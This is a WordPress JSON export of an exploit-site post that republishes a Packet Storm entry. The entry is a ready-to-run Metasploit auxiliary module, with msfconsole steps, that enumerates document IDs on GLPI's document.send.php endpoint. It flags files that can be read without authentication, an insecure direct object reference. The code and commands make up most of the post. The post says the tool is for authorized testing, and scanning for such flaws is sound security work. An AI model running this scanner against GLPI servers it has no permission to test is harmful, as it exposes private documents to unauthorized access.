{"id":42056,"date":"2026-02-20T17:46:41","date_gmt":"2026-02-20T17:46:41","guid":{"rendered":"http:\/\/localhost\/?p=42056"},"modified":"2026-02-20T17:46:41","modified_gmt":"2026-02-20T17:46:41","slug":"glpi-accessible-documents-insecure-direct-object-reference","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=42056","title":{"rendered":"\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-20T23:02:06&#8243;,&#8221;description&#8221;:&#8221;This Metasploit auxiliary module scans a GLPI installation for improperly exposed documents linked to KnowbaseItem objects via the document.send.php endpoint. The module performs an automated enumeration of docid values within a defined range and&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-20T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-20T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215953&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : GLPI Accessible Documents IDOR Scanner \u2013 Metasploit Auxiliary Module                                                        |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.glpi-project.org\/en\/                                                                                            |\\n    =============================================================================================================================================\\n    \\n    [+] Summary    :  This Metasploit auxiliary module scans a GLPI installation for improperly exposed documents linked to KnowbaseItem objects via the document.send.php endpoint.\\n                      The module performs an automated enumeration of docid values within a defined range and attempts to access documents without authentication. \\n    \\t\\t\\t\\t  If the server responds with HTTP 200 and a non-HTML content type (e.g., PDF, image, ZIP, etc.), the module flags it as a potential Insecure Direct Object Reference (IDOR) vulnerability.\\n    \\n    [+] The scanner:\\n    \\n    Iterates over a configurable docid range\\n    \\n    Targets KnowbaseItem document associations\\n    \\n    Validates responses based on allowed content types\\n    \\n    Reports accessible documents that may indicate improper access control\\n    \\n    This module is intended for authorized security testing to identify access control misconfigurations in GLPI deployments.\\n    \\n    [+] POC : \\n    \\n    modules\/auxiliary\/scanner\/http\/glpi_doc_idor.rb\\n    \\n    msfconsole\\n    msf \\u003e reload_all\\n    \\n    use auxiliary\/scanner\/http\/glpi_doc_idor\\n    set RHOST 10.0.0.1\\n    set RPORT 80\\n    set TARGETURI \/\\n    set ITEMS_ID 123\\n    set DOCID_START 1\\n    set DOCID_END 100\\n    run\\n    \\n    \\n    \\n    ##\\n    # This module requires Metasploit Framework\\n    # Tested with Metasploit 6.x\\n    ##\\n    \\n    require &#8216;msf\/core&#8217;\\n    require &#8216;uri&#8217;\\n    require &#8216;net\/http&#8217;\\n    \\n    class MetasploitModule \\u003c Msf::Auxiliary\\n      include Msf::Exploit::Remote::HttpClient\\n    \\n      def initialize(info = {})\\n        super(update_info(info,\\n          &#8216;Name&#8217;           =\\u003e &#8216;GLPI Accessible Documents IDOR Scanner&#8217;,\\n          &#8216;Description&#8217;    =\\u003e %q{\\n            Scans a GLPI installation for accessible KnowbaseItem documents without authentication.\\n            This checks for possible IDOR vulnerabilities by iterating docid values.\\n          },\\n          &#8216;Author&#8217;         =\\u003e [&#8216;Indoushka&#8217;],\\n          &#8216;License&#8217;        =\\u003e MSF_LICENSE\\n        ))\\n    \\n        register_options(\\n          [\\n            Opt::RHOST(),\\n            Opt::RPORT(80),\\n            OptString.new(&#8216;TARGETURI&#8217;, [true, \\&#8221;Base path of GLPI\\&#8221;, &#8216;\/&#8217;]),\\n            OptInt.new(&#8216;ITEMS_ID&#8217;, [true, \\&#8221;Items ID to test\\&#8221;, 1]),\\n            OptInt.new(&#8216;DOCID_START&#8217;, [true, \\&#8221;Starting docid\\&#8221;, 1]),\\n            OptInt.new(&#8216;DOCID_END&#8217;, [true, \\&#8221;Ending docid\\&#8221;, 100])\\n          ]\\n        )\\n    \\n        register_advanced_options(\\n          [\\n            OptBool.new(&#8216;SSL&#8217;, [true, \\&#8221;Use SSL\\&#8221;, false])\\n          ]\\n        )\\n      end\\n    \\n      def check_content_type(resp)\\n        return false if resp.nil? || resp[&#8216;Content-Type&#8217;].nil?\\n        ct = resp[&#8216;Content-Type&#8217;].downcase\\n        allowed = [\\&#8221;image\/\\&#8221;, \\&#8221;application\/pdf\\&#8221;, \\&#8221;application\/xml\\&#8221;, \\&#8221;text\/xml\\&#8221;, \\&#8221;text\/csv\\&#8221;,\\n                   \\&#8221;application\/zip\\&#8221;, \\&#8221;application\/x-rar-compressed\\&#8221;, \\&#8221;application\/x-gzip\\&#8221;,\\n                   \\&#8221;audio\/\\&#8221;, \\&#8221;video\/\\&#8221;, \\&#8221;application\/postscript\\&#8221;, \\&#8221;image\/svg+xml\\&#8221;,\\n                   \\&#8221;application\/x-shockwave-flash\\&#8221;, \\&#8221;application\/x-tar\\&#8221;, \\&#8221;application\/x-bzip2\\&#8221;,\\n                   \\&#8221;application\/x-7z-compressed\\&#8221;, \\&#8221;application\/vnd.ms-excel\\&#8221;, \\&#8221;application\/msword\\&#8221;]\\n        allowed.any? { |sub| ct.include?(sub) } \\u0026\\u0026 !ct.include?(\\&#8221;text\/html\\&#8221;)\\n      end\\n    \\n      def run\\n        start_id = datastore[&#8216;DOCID_START&#8217;]\\n        end_id   = datastore[&#8216;DOCID_END&#8217;]\\n        items_id = datastore[&#8216;ITEMS_ID&#8217;]\\n        base_uri = normalize_uri(datastore[&#8216;TARGETURI&#8217;])\\n        use_ssl = datastore[&#8216;SSL&#8217;]\\n    \\n        (start_id..end_id).each do |docid|\\n          target_url = \\&#8221;#{base_uri}\/front\/document.send.php?docid=#{docid}\\u0026itemtype=KnowbaseItem\\u0026items_id=#{items_id}\\&#8221;\\n    \\n          begin\\n            res = send_request_cgi({\\n              &#8216;uri&#8217;     =\\u003e target_url,\\n              &#8216;method&#8217;  =\\u003e &#8216;GET&#8217;,\\n              &#8216;headers&#8217; =\\u003e {\\n                &#8216;User-Agent&#8217; =\\u003e &#8216;Mozilla\/5.0 (compatible; GLPI-Doc-Checker\/1.1)&#8217;\\n              }\\n            })\\n    \\n            next if res.nil?\\n    \\n            if res.code == 200 \\u0026\\u0026 check_content_type(res)\\n              print_good(\\&#8221;#{rhost}:#{rport}#{target_url} -\\u003e #{res[&#8216;Content-Type&#8217;]} &#8211; vulnerability found\\&#8221;)\\n            elsif framework.debug?\\n              print_status(\\&#8221;Skipped #{target_url} -\\u003e #{res.code} -\\u003e #{res[&#8216;Content-Type&#8217;]}\\&#8221;)\\n            end\\n    \\n          rescue ::Rex::ConnectionError =\\u003e e\\n            print_error(\\&#8221;Connection error: #{e}\\&#8221;)\\n          end\\n        end\\n      end\\n    end\\n    \\n    \\t\\n    Greetings to :======================================================================\\n    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n    ====================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215953&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215953\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-20T23:02:06&#8243;,&#8221;description&#8221;:&#8221;This Metasploit auxiliary module scans a GLPI installation for improperly exposed documents linked to KnowbaseItem objects via the document.send.php endpoint. The module performs an automated&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-42056","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=42056\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-20T23:02:06&#8243;,&#8221;description&#8221;:&#8221;This Metasploit auxiliary module scans a GLPI installation for improperly exposed documents linked to KnowbaseItem objects via the document.send.php endpoint. The module performs an automated...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=42056\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-20T17:46:41+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42056#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42056\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953\",\"datePublished\":\"2026-02-20T17:46:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42056\"},\"wordCount\":801,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=42056#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42056\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42056\",\"name\":\"\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-20T17:46:41+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42056#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=42056\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42056#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=42056","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-20T23:02:06&#8243;,&#8221;description&#8221;:&#8221;This Metasploit auxiliary module scans a GLPI installation for improperly exposed documents linked to KnowbaseItem objects via the document.send.php endpoint. The module performs an automated...","og_url":"https:\/\/zero.redgem.net\/?p=42056","og_site_name":"zero redgem","article_published_time":"2026-02-20T17:46:41+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=42056#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=42056"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953","datePublished":"2026-02-20T17:46:41+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=42056"},"wordCount":801,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=42056#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=42056","url":"https:\/\/zero.redgem.net\/?p=42056","name":"\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-20T17:46:41+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=42056#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=42056"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=42056#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 GLPI Accessible Documents Insecure Direct Object Reference_PACKETSTORM:215953"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/42056","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=42056"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/42056\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=42056"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=42056"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=42056"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}